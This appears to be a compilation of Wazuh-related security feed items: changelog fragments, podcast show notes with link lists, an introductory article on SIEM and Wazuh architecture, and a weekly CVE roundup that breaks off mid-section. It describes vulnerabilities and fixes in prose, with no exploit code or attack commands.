Building a powerful SIEM with Clickhouse and Clickdetect was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Changed

• Masked authd.pass in configuration API responses for users without update permissions. (#34128)

Fixed

• Fixed analysisd plugin decoder argument alignment. (#35222)
• Fixed path traversal in authd via agent group name validation. (#35258)
• Hardened cluster deserialization by restricting callable decoding to Wazuh modules and improving error handling. (#35256)
• Fixed DAPI callable resolution to restrict invocations to exposed resources only. (#35256)
• Fixed admin protection in update user endpoint. (#35469)
• Fixed protected settings checks when multiple <ossec_config> blocks are present. (#34690)
• Restricted cluster file transfer write paths. (#34659)
• Improved cluster file synchronization path handling by adding safe path joins. (#35008)
• Fixed Vulnerability Detector offset DB update to occur only after processing (backport from 4.12.0). (#31901)

Agent

Added

• Added detection of the -a never,task Audit rule in FIM whodata for Linux. (#34661)

Changed

• Changed sync primitive disposal to stop and soften teardown failures. (#34680)

Fixed

• Fixed Windows FIM Registry scan crash on non-null-terminated values. (#34679)

Other

Changed

• Updated curl dependency to 8.12.1. (#34687)
• Updated starlette dependency to 0.49.1. (#33383)
• Upgraded Python embedded interpreter to 3.10.19. (#32790)

Join us LIVE on Mondays, 4:30pm EST.
A weekly Podcast with BHIS and Friends. We discuss notable Infosec, and infosec-adjacent news stories gathered by our community news team.
https://www.youtube.com/@BlackHillsInformationSecurity ( https://www.youtube.com/@BlackHillsInformationSecurity )

Chat with us on Discord! -
https://discord.gg/bhis ( https://discord.gg/bhis )
🔴live-chat

This episode of Talking About News focuses on the reported Canvas/Instructure breach, including discussion around ShinyHunters, transparency concerns, higher education security challenges, and possible attack paths involving phishing and tenant compromise. The team also explores broader cybersecurity trends such as social engineering, ransomware pressure tactics, and the growing role of AI and platform security in modern enterprise environments.

Chapters
00:00 - PreShow Banter™ — Californian Problems
02:25 - The Canvas / Instructure Breach – 2026-05-11
10:23 - Story # 1: Canvas Breach Disrupts Schools & Colleges Nationwide
13:45 - Story # 1b: Security Incident Update & FAQs
43:14 - Story # 2: Wazuh cluster sync path traversal in decompress_files() enables arbitrary file write and code execution from authenticated cluster peer
47:34 - Story # 3: Google Chrome silently installs a 4 GB AI model on your device without consent.
52:19 - Story # 4: Trellix source code breach claimed by RansomHouse hackers
58:12 - Story # 5: Rose Acre Farms Targeted in Alleged Lynx Ransomware Attack - Cybersecurity
Links

Story # 1: Canvas Breach Disrupts Schools & Colleges Nationwide ( https://krebsonsecurity.com/2026/05/canvas-breach-disrupts-schools-colleges-nationwide/ )
Story # 1b: Security Incident Update & FAQs ( https://www.instructure.com/incident_update )
Story # 2: Wazuh cluster sync path traversal in decompress_files() enables arbitrary file write and code execution from authenticated cluster peer ( https://github.com/wazuh/wazuh/security/advisories/GHSA-m8rw-v4f6-8787 )
Story # 3: Google Chrome silently installs a 4 GB AI model on your device without consent. ( https://www.thatprivacyguy.com/blog/chrome-silent-nano-install/ )
Story # 4: Trellix source code breach claimed by RansomHouse hackers ( https://www.bleepingcomputer.com/news/security/trellix-source-code-breach-claimed-by-ransomhouse-hackers/ )
Story # 5: Rose Acre Farms Targeted in Alleged Lynx Ransomware Attack - Cybersecurity ( https://dailysecurityreview.com/cyber-security/rose-acre-farms-targeted-in-alleged-lynx-ransomware-attack/ )

Wade's Workshop: Threat Actor Profiling: Know Your Enemy ( https://www.antisyphontraining.com/product/workshop-threat-actor-profiling-know-your-enemy/ )
Alethe Denis' Webcast: How to Build a Bulletproof Pretext ( https://events.zoom.us/ev/Ak0QfH-0slzbUnzlPw33H16OpgN5Yz8AJ2MekKZtpT0WUMAsXxop~AqwV-XglEw9Gp537Fh_j8XdRCm5tk52OKcMOZiu3GVxowS7KK-crbjh8fQ )
Alethe Denis' Workshop: How to Build Pressure-Proof Pretexts ( https://www.antisyphontraining.com/product/workshop-how-to-build-pressure-proof-pretexts/ )



🔗 Register for FREE Infosec Webcasts, Anti-casts & Summits https://poweredbybhis.com ( https://poweredbybhis.com/ )
Brought to you by:Black Hills Information Security https://www.blackhillsinfosec.com ( https://www.blackhillsinfosec.com/ )
Antisyphon Traininghttps://www.antisyphontraining.com/ ( https://www.antisyphontraining.com/ )
Active Countermeasureshttps://www.activecountermeasures.com ( https://www.activecountermeasures.com/ )
Wild West Hackin Festhttps://wildwesthackinfest.com ( https://wildwesthackinfest.com/ )

Talkin' Bout [Infosec] News
Episode 19, Season 6
May 12, 2026

★ Episode details: https://share.transistor.fm/s/a6d8bc43

★ Additional episodes: https://bhisnews.transistor.fm

Added

• Added system users and groups to the inventory data. (#30848)
• Added browser extensions and services to the inventory data. (#31614)
• Added IPv6 support to Maltiverse integration. (#31731)

Fixed

• Fixed internal decoder RC startup. (#29663)
• Fixed queue stats RC over wazuh-analysisd. (#29673)
• Fixed race condition in the event queue. (#29672)
• Fixed regexCompile race condition. (#29699)
• Fixed malformed alerts in alerts.log when <group> contains newline characters. (#30653)
• Fixed and improved dpkg version comparison algorithm in Vulnerability Detector. (#31599)

Changed

• Improved databaseFeedManagerTesttool. (#30192)
• Adapted wazuh-maild to RFC5322 standard. (#30793)
• Enhanced the active response endpoint performance. (#31218)

Agent

Added

• Added support for parquet version 2 in AWS Wodle. (#30235)
• Added capability to do a hot configuration reload in Linux agents. (#30797)
• Added support for Amazon Inspector v2. (#31163)
• Added system users and groups to the inventory data. (#30369)
• Added browser extensions to the inventory data. (#805)
• Added services to the inventory data. (#807)
• Added missing AWS regions us-gov-west-1 and us-gov-east-1 to AWS wodle. (#31418)
• Included Windows kernel version information to IT Hygiene. (#32413)

Fixed

• Fixed errors with Azure Graph event fields. (#30831)
• Added the missing "provider" field to the whodata section in syscheckd JSON configuration. (#30877)
• Fixed journald disabled filters when both blocks have no filters. (#31700)
• Fixed whodata FIM compatibility with latest audit versions. (#30215)
• Fixed mismatch between MTU values in database and indexer for Windows agents. (#31875)

Changed

• Improved rootkit error messages to warnings due to future deprecation. (#31640)

RESTful API

Added

• Added syscollector users and groups endpoints. (#30913)
• Added syscollector services and browser_extension endpoints. (#31513)

Fixed

• Fixed secure headers. (#31046)
• Fixed the display of sensitive information for non-privileged users. (#31315)

Ruleset

Added

• Added SCA content for Rocky Linux 10. (#30745)
• Added SCA content for Debian 13. (#31747)

Fixed

• Fixed multiple Rocky Linux SCA checks generating incorrect results. (#29976)
• Fixed missing Check (2.3.7.6) in Windows Server 2019 v2.0.0. (#30173)
• Fixed camel casing in ownCloud ruleset header. (#30276)
• Fixed false positive in check 2.3.3.2 of macOS 13, 14, and 15 SCA. (#30489)
• Fixed bug in rule 92657. (#30529)
• Fixed field names in Office 365 rules. (#30528)
• Fixed action field in Fortigate rules. (#30515)
• Fixed Auditd EXECVE sibling Decoders. (#30612)
• Fixed problems with other Windows OS languages except English. (#31227)
• Reworked SCA Policy for Debian Linux 12. (#30717)
• Fixed missing comma in 0393-fortiauth_rules.xml. (#32025)
• Fixed Windows sca user account checks. (#32102)
• Fixed inaccuracies in Ubuntu 2404 sca policy. (#32106)
• Fixed incorrect service name in Ubuntu firewall service check. (#32143)

Other

Changed

• Updated packaging dependency to 25.0. (#31272)
• Updated requests to version 2.32.4. (#30536)
• Updated urllib3 to version 2.5.0 and protobuf to version 5.29.5. (#30624)
• Upgraded Python embedded interpreter to 3.10.18. (#30916)
• Updated OpenSSL to 3.0.15 and cpp-httplib to v0.25.0. (#31779)
• Updated SQLite dependency to version 3.50.4. (#29586)

Added

• Added IAM role support for VPC flow logs in the AWS wodle. (#32009)
• Added support for static and temporary AWS credentials in the Amazon Security Lake subscriber. (#32514)

Changed

• Optimized wazuh-db startup by executing agent schema creation in a single transaction. (#32401)
• Improved vulnerabilities index upgrade with hash-based mapping validation, automatic safe reindex, and backup cleanup. (#32463)
• Improved C++ logging mechanism to avoid unnecessary heap allocations. (#32069)
• Improved IndexerConnector error handling and response parsing to provide structured logging of 4xx/5xx errors. (#32521)
• Reduced default verbosity of wazuh-authd when handling invalid connections. (#32525)
• Remoted now reads internal options at process startup. (#32697)

Fixed

• Fixed manager vulnerability scan not triggering due to incorrect syscollector event provider topic name. (#32045)
• Fixed IndexerConnector abuse control to prevent data loss on failed syncs. (#32787)
• Fixed user tag handling by adding 'user' as an alias for the 'dstuser' static field. (#32107)
• Fixed JSON validation issues in Analysisd and SCA components. (#32057)
• Fixed a bug in Vulnerability Scanner where the DB offset was updated even in error cases. (#32829)

Agent

Added

• Added support for Homebrew 2.0+ in IT Hygiene for macOS. (#32746)

Changed

• Changed how the fim_check_ignore function works in case of negative regex cases. (#31080)
• Changed how null values for hotfixes are handled in the Windows agent. (#31375)
• Improved service shutdown procedure. (#32874)

Fixed

• Fixed indefinite waiting in FIM whodata health check. (#32383)
• Fixed graceful shutdown in FIM. (#31241)
• SHA256 of commands is now verified on every execution. (#32049)
• Fixed duplicate <ca_store> configuration block during RPM package upgrades. (#32528)
• Fixed a bug that prevented overwriting <registry_limit> or <file_limit> options from remote configuration. (#31144)
• Fixed a bug in Logcollector that prevented following symlinks when resolving wildcarded files. (#29853)
• Unified detection logs for wildcarded files in Logcollector. (#31222)
• Fixed a bug in FIM that did not recognize Registry keys unless they were UTF-8. (#32027)
• Fixed a bug in Logcollector that ignored all files with <age> filter on Windows. (#32731)
• Reverted IT Hygiene package vendor format on Debian: now includes name and email again. (#32812)
• Fixed a bug in IT Hygiene that reported duplicated Edge browser extensions. (#32785)
• Fixed reload of the <labels> block via remote configuration. (#32838)
• Fixed Windows installer to deploy SCA policies for Windows 2022 instead of Windows Server 2025. (#32836)

Ruleset

Changed

• Reworked SCA Policy for Microsoft Windows 10 Enterprise. (#31449)
• Fixed bug in Windows SCA. (#31349)
• Fixed mistaken alert due to expected regex. (#31102)
• Fixed SCA checks in Oracle Linux 9. (#31886)
• Fixed bugs in Windows Server 2016 SCA. (#32509)
• Fixed bugs in PAM decoder. (#32523)
• Fixed MacOS Sequoia SCA scans with errors. (#32480)
• Windows Server 2016 SCA policy not configured correctly. (#32802)

Other

Changed

• Upgraded the starlette dependency to 0.47.2. (#31422)
• Upgraded Python embedded interpreter to 3.10.19. (#32782)
• Updated curl dependency to 8.12.1. (#32900)
• Updated LUA to version 5.4.6. (#32294)
• Updated libarchive to version 3.8.0. (#32294)

Fixed

• Prevented Azure Log Analytics bookmarks from being overwritten across similar configurations. (#33046)
• Fixed discrepancy in the API certificate files. (#33330)
• Made analysisd ruleset reload endpoints fully asynchronous to avoid blocking the API event loop. (#33589)
• Improved analysisd ruleset hot reload performance. (#33580)
• Avoided using systemctl in restart scripts when systemd is not running as PID 1. (#33602)

Agent

Added

• Added detection of the -a never,task Audit rule in FIM whodata for Linux. (#33313)

Fixed

• Fixed Windows agent remote upgrade (WPK) when installed in a custom directory. (#33171)
• Fixed a package issue causing upgrades to fail when the shared directory contained subdirectories. (#33182)
• Fixed FIM issue preventing whodata from working on systems with /var and /etc mounted on different volumes. (#33270)
• Optimized user and group inventory performance in Syscollector on Windows Domain Controllers. (#33322)
• Fixed an agent bug that prevented directories from being received in the remote configuration. (#33227)
• Silenced agent log message about failing to connect to Active Response when it is disabled. (#33343)

Ruleset

Added

• Added SCA Policy for Microsoft Windows Server 2025. (#32856)

Changed

• Fixed bug in multiple macOS SCA checks. (#33202)

Fixed

• Fixed indentation issue in the SCA policy for Windows 10 Enterprise that prevented its execution. (#33361)

Other

Changed

• Upgraded the starlette dependency to 0.49.1. (#33069)

Fixed

• Scaped document ID when necessary before sending document to indexer. (#33464)
• Extended timestamp conversion helpers to support additional input formats and normalize ISO8601 strings. (#33551)
• Restricted cluster file transfer write paths. (#33705)
• Hardened cluster deserialization by restricting callable decoding to Wazuh modules and improving error handling. (#33910)
• Added query size checks for syscollector delta sync SQL generation to prevent buffer overflows. (#33803)
• Replaced unsafe sprintf calls in the SCA decoder to prevent buffer overflows. (#33756)
• Fixed a memory leak in the CIS-CAT decoder when database operations fail. (#33739)
• Fixed ruleset hot reload on workers by awaiting send_reload_ruleset_msg. (#34184)

Agent

Added

• Added hostname and architecture metadata to Windows keep-alive messages. (#33831)

Fixed

• Fixed UTF-16 casting when updating report_changes. (#33495)
• Improved Active Response key handling in wazuh-execd. (#33665)
• Added bounds checking to Logcollector max-size configuration serialization. (#33704)
• Hardened Logcollector multiline backup handling to use full-buffer copies. (#33926)
• Fixed label formatting edge cases in keep-alive notify messages. (#33708)
• Fixed a false positive in vulnerability detection for Oracle Linux 8. (#33583)
• Extended Windows network path restrictions to block extended-length UNC paths. (#34115)
• Fixed crash in network path detection on Windows. (#34162)
• Fixed Agent reload failure on Linux systems with systemd version 219 or lower. (#34064)

RESTful API

Changed

• Improved authentication performance by caching generated keypairs and clearing the cache when key files change. (#33702)

Fixed

• Improved configuration upload validation by parsing and comparing Wazuh XML configurations more reliably. (#33683)
• Fixed protected settings checks when multiple <ossec_config> blocks are present. (#33807)

Ruleset

Added

• Added a CIS SCA policy for macOS 26 Tahoe. (#33492)

Fixed

• Fixed SCA policy execution on Windows Server 2019 by using the correct PowerShell path. (#34141)

Other

Changed

• Updated the werkzeug dependency to 3.1.4. (#33569)
• Updated the urllib3 dependency to 2.6.3. (#33927)

Fixed

• Fixed heap-based null WRITE Buffer Underflows. (34658)

Agent

Fixed

• Fixed MS Graph default rules not triggering properly. (#34240)
• Unified date formats in Active Response logs to ensure consistent timestamp formatting. (#34473)
• Updated Docker integration rules to improve detection coverage and compatibility. (#34376)
• Fixed heap-based NULL write buffer underflow in GetAlertData. (#34501)
• Retained MSI installer log after Windows agent upgrade to improve troubleshooting visibility. (#34517)
• Fixed incorrect Windows 11 edition detection after upgrading the agent to version 4.14.3. (#34530)
• Fixed macOS agent crash during syscollector reload caused by invalid pthread_cond_destroy() usage. (#34274)
• Fixed Windows OS edition detection. (34540)
• Fix pthread_mutex_destroy invalid argument error on AIX in syscollector. (#34900)

Changed

• Changed msi_output extension from txt to log. (34541)
• Changed to unsigned char in print_hex_string. (34602)
• Changed sync primitive disposal to stop and soften teardown failures. (34552)

RESTful API

Fixed

• Fixed timestamps in the /agents/upgrade_result endpoint to return accurate UTC time. (#34176)
• Improved cluster file synchronization path handling by adding safe path joins. (#34464)
• Fixed API login race condition- (34459)

Other

Changed

• Updated the azure-core dependency to 1.38.0 and the Werkzeug dependency to 3.1.5. (#34154)
• Updated the protobuf dependency to 5.29.6 and the python-multipart dependency to 0.0.22. (#34403)

Added

• Added cluster-by-default deployment model: all Wazuh Server installations now run as a cluster node, removing the distinction between clustered and non-clustered deployments. The cluster.disabled configuration option has been removed. (#31295)
• Added stateless metadata enrichment in remoted, centralizing event metadata handling for stateless messages and removing the dependency on wazuh-db for that ingestion path. (#33269)
• Added Engine enrichment support: IOC matching, GeoIP lookup, and event filters. (#33493)
• Added Engine adaptation tier 2: raw archives handling, uncategorized event routing, input-level throttling, and internal metrics exposure. (#34477)
• Added Wazuh Instance Registration status to reflect CTI access_token availability (Pending, Polling, Denied, Available), allowing the Dashboard to query the subscription state. (#31906)

Changed

• Upgraded embedded Python interpreter from 3.10 to 3.12. (#33377) (#33570)
• Adapted Vulnerability Detector input pipeline to the new Wazuh 5.0 synchronization algorithm, covering first-scan, inventory-change, and feed-update scenarios. (#30535)
• Revamped Role-Based Access Control (RBAC) management and introduced an upgrade mechanism for existing RBAC configurations. (#27706)
• Removed legacy configuration surfaces, database schemas, build targets, and compatibility layers in the second server cleanup phase. (#34608)

Removed

• Removed Filebeat as the log-shipping component; event forwarding now uses native Wazuh server connectivity to the Wazuh Indexer via indexer-connector. (#33124)
• Removed deprecated manager daemons: ossec-authd, wazuh-agentlessd, wazuh-maild, wazuh-dbd. (#30922)
• Removed deprecated C CLI tools: manage_agents, agent-auth. (#30924)
• Removed OpenSCAP server-side module. (#31028)
• Removed inventory-related API endpoints. (#31299)
• Removed legacy API security configuration endpoints. (#28425)

Fixed

• Fixed Vulnerability Detector version matcher logic for improved detection accuracy. (#31746)
• Fixed Cloudtrail log ingestion parsing errors. (#33108)

Agent

Added

• Added local state persistence for agent modules (FIM, System Inventory, SCA), removing the dependency on rsync with the Wazuh Server and reducing network traffic and server-side processing overhead. (#29533) (#31838)

Changed

• Changed the Wazuh Manager installation path to /var/wazuh-manager (replacing /var/ossec) and removed agent ID 000, fully decoupling agent and manager processes on shared hosts. (#33378)
• Changed Vulnerability Detection to use the Wazuh Indexer as the sole authoritative CVE data source, removing direct CTI network access from the agent-side Vulnerability Detector. (#34849)
• Adjusted agent-side Vulnerability Detector inventory emission and synchronization (OS, packages, hotfixes) to align with the updated VD behavior in Wazuh 5.0. (#33199)
• Simplified rootcheck: removed the server-side database, sync path, and API surface; findings are now indexed through the standard alert pipeline. (#31478)
• Updated logcollector file-tailing initial read strategy for more consistent behavior across log rotation scenarios. (#33382)
• Updated Windows Event Channel log collection to emit native XML from EvtRender() without an XML declaration header. (#34462)
• Increased default limits for agent event throughput and inventory message sizes. (#35330)

Removed

• Removed deprecated agent binaries and legacy modules as part of the Wazuh 5.0 agent cleanup. (#30435)
• Removed NSIS-based Windows agent installer; Windows agent now ships exclusively as an MSI package. (#31582)

Fixed

• Fixed FIM checksum calculation that was incorrectly ignoring some file fields. (#29668)
• Fixed syscollector reporting duplicate and bogus packages on macOS arm64. (#30513)
• Fixed agent_control not displaying agent status information. (#32915)
• Fixed SCA handling of invalid operators and missing values in regex patterns. (#35071)
• Fixed agent modules initializing before agent metadata was fully ready. (#35156)
• Fixed FIM inventory reporting file modification time as 1970-01-01. (#35162)
• Fixed agent automatic reload failing after receiving centralized configuration. (#35169)
• Fixed syscollector false positive package detection on macOS. (#35248)

Fixed

• Fixed DAPI callable resolution to restrict invocations to exposed resources only. (#34889)
• Fixed uncontrolled memory allocation in cluster caused by crafted packet length. (#35173) (#35412)
• Fixed rate limit bypass for the /events endpoint. (#35077)
• Fixed buffer overflow in analysisd regex match processing. (#35106)
• Fixed path traversal in authd via agent group name validation. (#35230)
• Fixed size_t underflow in remoted ReadSecMSG causing potential heap overflow. (#35193)
• Fixed RBAC bypass in DAPI allowing privilege escalation. (#35307)
• Fixed analysisd plugin decoder argument alignment. (#35176)

Agent

Fixed

• Fixed rootcheck false positive for /dev/.blkid.tab. (#34734)
• Fixed ORDER_REVERSAL deadlocks in FIM. (#34735)
• Fixed Roundcube decoder regex to prevent srcip truncation in "Failed login ... in session" logs. (#34793)
• Fixed macOS Ventura SCA policy incorrectly passing pmset checks. (#34693)
• Fixed Office365 integration pagination by trimming HTTP header values. (#34673)
• Fixed FIM false positives caused by double readdir check. (#34880)
• Fixed audit log cache overflow for events with many records in logcollector. (#35285)
• Fixed daily marker for GuardDuty log collector. (#35110)
• Fixed rootcheck not generating findings. (#35297)
• Fixed heap buffer overflow in syscheck Registry Wildcard Expansion. (#35287)

Changed

• Changed RHEL init script with SUSE variant on SLES 11. (#34563)
• Changed service check from WMI to sc.exe. (#34543)
• Changed windows syscollector to include command arguments. (#34727)

RESTful API

Fixed

• Fixed allow_higher_versions validation in API upload_configuration. (#34905)
• Fixed nested JSON depth limit in API request processing. (#35224)
• Fixed upload size limit config mismatch. (#35141)

Ruleset

Fixed

• Fixed bug in CIS SCA checks 35675 and 35689 for Ubuntu 24.04. (#35088)
• Fixed Dovecot decoders to correctly extract rip and lip fields. (#35089)

Other

Changed

• Updated dependencies cryptography to 46.0.5, Werkzeug to 3.1.6, pip to 26.0.1 and wheel to 0.46.3. (#34907)
• Updated embedded Python to 3.10.20 and dependencies pyjwt, pyasn1. (#35135)
• Updated dependencies cryptography, requests. (#35331)

Dieser Beitrag Wazuh: Kritische Sicherheitslücken bedrohen UNIX-Systeme erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

A step-by-step guide on connecting a Windows endpoint to Wazuh. Learn how to add a Windows agent and collect logs.

Continue reading on InfoSec Write-ups »

⬇️ OPEN FOR LINKS TO ARTICLES TO LEARN MORE ⬇️


@endingwithali →
Twitch: https://twitch.tv/endingwithali
Twitter: https://twitter.com/endingwithali
YouTube: https://youtube.com/@endingwithali
Everywhere else: https://links.ali.dev

Want to work with Ali? hak5@endingwithali.com

[❗] Join the Patreon→ https://patreon.com/threatwire
00:00 0 - Intro
00:15 1 - Rotate Your Credentials Now
03:16 2 - Browser Bugs
04:27 3 - BSides News
08:03 4 - Comment Section
09:17 5 - Outro

LINKS
🔗 Story 1: Rotate Your Credentials Now
http://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package
https://www.wiz.io/blog/tracking-teampcp-investigating-post-compromise-attacks-seen-in-the-wild
https://vercel.com/changelog/axios-package-compromise-and-remediation-steps
https://socket.dev/blog/axios-npm-package-compromised
https://www.bleepingcomputer.com/news/security/cisco-source-code-stolen-in-trivy-linked-dev-environment-breach/
https://www.trendmicro.com/en_us/research/26/c/axios-npm-package-compromised.html
🔗 Story 2: Browser Bugs
https://www.helpnetsecurity.com/2026/04/01/google-chrome-zero-day-cve-2026-5281/
https://cti.wazuh.com/vulnerabilities/cves/CVE-2026-4688
https://nvd.nist.gov/vuln/detail/CVE-2026-5281
https://nvd.nist.gov/vuln/detail/CVE-2026-4688
🔗 Story 3: BSides News
https://bsides.org/
http://aws.amazon.com/blogs/machine-learning/aws-launches-frontier-agents-for-security-testing-and-cloud-operations/
https://blog.railway.com/p/incident-report-march-30-2026-accidental-cdn-caching
https://x.com/bran_don_gell/status/2038673403880816729
https://blog.calif.io/p/mad-bugs-vim-vs-emacs-vs-claude
https://cybernews.com/privacy/linkedin-surveillance-browsergate/
https://thehackernews.com/2026/04/claude-code-tleaked-via-npm-packaging.html
https://www.securityweek.com/critical-vulnerability-in-claude-code-emerges-days-after-source-leak/
https://x.com/Fried_rice/status/2038894956459290963
https://www.helpnetsecurity.com/2026/03/23/nist-dns-security-guide-sp-800-81r3/
https://www.nist.gov/news-events/news/2026/03/secure-domain-name-system-dns-deployment-guide-final-publication
https://x.com/vxdb/status/2039731126885855732
https://www.bleepingcomputer.com/news/security/claude-ai-finds-vim-emacs-rce-bugs-that-trigger-on-file-open/
-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆-----☆
Our Site → https://www.hak5.org
Shop → http://hakshop.myshopify.com/
Community → https://www.hak5.org/community
Subscribe → https://www.youtube.com/user/Hak5Darren?sub_confirmation=1
Support → https://www.patreon.com/threatwire
Contact Us → http://www.twitter.com/hak5
____________________________________________

Founded in 2005, Hak5's mission is to advance the InfoSec industry. We do this through our award winning educational podcasts, leading pentest gear, and inclusive community – where all hackers belong.

Introduction to SIEM and Wazuh: Architecture, Components & Why It Matters

Every second, thousands of cyber attacks happen worldwide. But how do organizations even know they are under attack?
This is where SIEM comes into the picture — and tools like Wazuh make it practical.

Every organization relies on digital systems to perform daily operations. These systems continuously generate events — such as logins, file access, software installations, and network connections.

Each of these events is recorded as a log, creating a digital footprint of everything happening inside the environment.

Every operating systems such as Windows, Linux/Unix, MacOS, generates logs and stores in a specific location. In Windows, logs can be viewed using the Event Viewer, while in Linux systems, they are typically stored in the /var/log directory.

Reviewing these logs helps us to understand what is going on within the system. If anything suspicious happens we can identify it.

However, reviewing logs from multiple systems manually is time-consuming and inefficient, especially in large enterprise environments.

As the solution os this problem, we introduce SIEM (Security Information & Event Management) Tools. These are the central hub for the log review.

SIEM Architecture

In this model, agents are deployed on endpoints to collect logs and security events. These logs are forwarded to a central manager, where correlation rules analyze the data to detect suspicious patterns or anomalies.

Roles of a SIEM manager:

• Central Evnet-Log Review
• Connect with all SIEM agents
• Visualization of logs and events.

Roles of a SIEM agents:

• Collect logs from system on which the agent is installed.
• Transfer logs from the system to the SIEM manager.

Introduction to Wazuh

Wazuh is an open-source security platform that combines SIEM capabilities with extended detection and response (XDR), providing centralized visibility, threat detection, and compliance monitoring.

We already covered what is SIEM, now let’s understand XDR.

• It is a tool that collects data from multiple assets such as endpoints, networks, servers, cloud workloads, and emails into a single platform,
• For improved, real-time threat detection and automated, rapid response.
• It reduces alert fatigue and enhances visibility across an organization’s entire IT infrastructure.

Wazuh Components & Architecture

There are mainly 4 components of wazuh

• Wazuh manager (Server)
• Wazuh Indexer
• Wazuh Agent
• Wazuh Dashboard

As you can see, in above image,

Wazuh Agents

• They are installed on endpoint systems, such as laptops, PCs, workstations, server, Cloud server, Domain Controller, etc.
• They can be installed on cross-platforms such as windows and linux.
• They collects logs from the endpoint system and transfers it to the Wazuh manager.

Wazuh Manager

• It is a central component responsible for analysing data collected from Wazuh agents.
• It detects threats, anomalies, and regulatory compliance violations in real time, generating alerts when suspicious activity is identified.
• Beyond detection, the Wazuh server enables centralized management by remotely configuring Wazuh agents and continuously monitoring their operational status.

Wazuh Indexer

• The Wazuh indexer is a highly scalable, full-text search and analytics engine.
• This Wazuh central component indexes and stores alerts generated by the Wazuh server.
• It provides near real-time data search and analytics capabilities.
• The Wazuh indexer can be configured as a single-node or multi-node cluster, providing scalability and high availability.

An index is a collection of related documents. The documents stored in the Wazuh indexer are distributed across different containers known as shards.

By distributing the documents across multiple shards and distributing those shards across various nodes, the Wazuh indexer can ensure redundancy. This protects your system against hardware failures and increases query capacity as nodes are added to a cluster.

Wazuh Dashboard

• The Wazuh dashboard is a flexible and intuitive web interface for visualizing, analyzing, and managing security data.
• It enables users to investigate events and alerts, oversee the Wazuh platform, and enforce role-based access control (RBAC) and single sign-on (SSO) policies.
• It includes dashboards for threat hunting, malware detection, file integrity monitoring, system inventory, and regulatory compliance (for example, PCI DSS, GDPR, HIPAA, and NIST 800–53).
• You can generate reports and create custom visualizations and dashboards.

Why Wazuh as First SIEM Tool?

• Wazuh is completely free and open-source, making it ideal for students, researchers, and small organizations.
• It has active and huge community.
• Integration with MITRE ATT&CK framework, good for mapping events with TTPs (Tactics, Techniques and proceduers).
• Used for Endpoint security, Threat Intelligence, Security operations, and cloud security.
• It helps to meet regulatory compliance requirements like PCI DSS, HIPAA, GDPR, etc.
• It provides a single dashboard to monitor endpoints, cloud instances (AWS, Azure, GCP), and containers.

Conclusion

Understanding SIEM is the first step toward thinking like a defender. Installing and configuring Wazuh is the next step.

Have you ever built your own SIEM lab? If not, Wazuh might be the perfect place to start.

Let me know if you would like a detailed installation and lab setup guide in the next article.

📌 What’s Next?

• Installing Wazuh on Linux
• Deploying agents on Windows & Linux
• Simulating attacks and monitoring alerts
• Creating custom detection rules.

Getting started with Wazuh: Understanding SIEM and Real-Time Security Monitoring was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Cyble Research & Intelligence Labs (CRIL) tracked 1,452 vulnerabilities last week, reflecting the continued expansion of the global attack surface.  

Of these, 222 vulnerabilities have publicly available Proof-of-Concept (PoC) exploits, significantly accelerating the likelihood of exploitation in real-world environments.  

Additionally, multiple vulnerabilities surfaced across underground forums, with at least 7 actively discussed exploits, indicating strong adversarial interest and rapid weaponization cycles.  

A total of 128 vulnerabilities were rated critical under CVSS v3.1, while 47 were rated critical under CVSS v4.0, highlighting the severity of newly disclosed issues.  

Furthermore, CISA added 8 vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog, confirming active exploitation in the wild.  

On the industrial front, CISA issued 12 ICS advisories covering 150 vulnerabilities, impacting major vendors including FESTO, Schneider Electric, Siemens, and Mitsubishi Electric.  

The Week’s Top Vulnerabilities 

CVE-2026-25769 — Wazuh (Critical) 

CVE-2026-25769 is a critical remote code execution vulnerability in Wazuh caused by the deserialization of untrusted data in cluster deployments.  

Attackers with access to a worker node can send malicious serialized payloads to the master node, resulting in remote code execution with root privileges. This enables full compromise of the centralized security monitoring infrastructure. 

CVE-2026-20131 — Cisco Secure Firewall Management Center (Critical) 

CVE-2026-20131 is a maximum-severity vulnerability allowing unauthenticated attackers to execute arbitrary Java code as root on affected systems.  

The vulnerability is reportedly being exploited by ransomware groups, enabling complete takeover of firewall management systems and downstream enterprise networks. 

CVE-2026-4342 — Kubernetes ingress-nginx (High) 

CVE-2026-4342 is a configuration injection vulnerability that allows attackers to inject malicious configurations via crafted ingress annotations.  

Successful exploitation can lead to remote code execution and exposure of Kubernetes secrets, significantly expanding attacker control across containerized environments. 

CVE-2026-22721 — VMware Aria Operations (High) 

CVE-2026-22721 is a privilege escalation vulnerability that allows attackers with limited access to elevate privileges to administrative levels.  

This enables attackers to manipulate monitoring systems, access sensitive data, and expand control across virtualized infrastructure. 

CVE-2026-33309 — Langflow AI Framework (Critical) 

CVE-2026-33309 is a critical vulnerability affecting Langflow, an AI workflow framework, enabling attackers to compromise application logic and underlying infrastructure.  

The flaw highlights the emerging attack surface in AI-driven platforms, where exploitation can lead to credential theft and full system compromise. 

Vulnerabilities Added to CISA KEV 

CISA continued expanding its KEV catalog, reflecting active exploitation trends. 

Notable additions include: 

• CVE-2026-20131 — Cisco FMC RCE vulnerability actively exploited by ransomware groups  

• CVE-2025-32432 — Craft CMS RCE vulnerability enabling full server takeover  

These additions emphasize the rapid transition from disclosure to exploitation, particularly in enterprise-facing systems. 

Critical ICS Vulnerabilities 

CISA issued 12 ICS advisories covering 150 vulnerabilities, with a strong concentration in industrial automation platforms.  

Festo Automation Suite with CODESYS (Multiple Critical CVEs) 

A large cluster of vulnerabilities affects Festo Automation Suite integrated with CODESYS, spanning multiple years and severity levels.  

These include: 

• Buffer overflows  

• Improper access control  

• Out-of-bounds writes  

• Missing authentication  

The accumulation of these flaws indicates systemic security weaknesses, enabling attackers to destabilize systems or gain persistent access. 

CVE-2018-10612 — Festo/CODESYS (Critical) 

This vulnerability involves improper access control, allowing attackers to bypass restrictions and gain unauthorized access to industrial systems.  

CVE-2021-30190 — Festo/CODESYS (Critical) 

A missing authentication vulnerability enabling attackers to execute critical functions without credentials, potentially leading to full system compromise.  

EV Charging Infrastructure Vulnerabilities (Critical) 

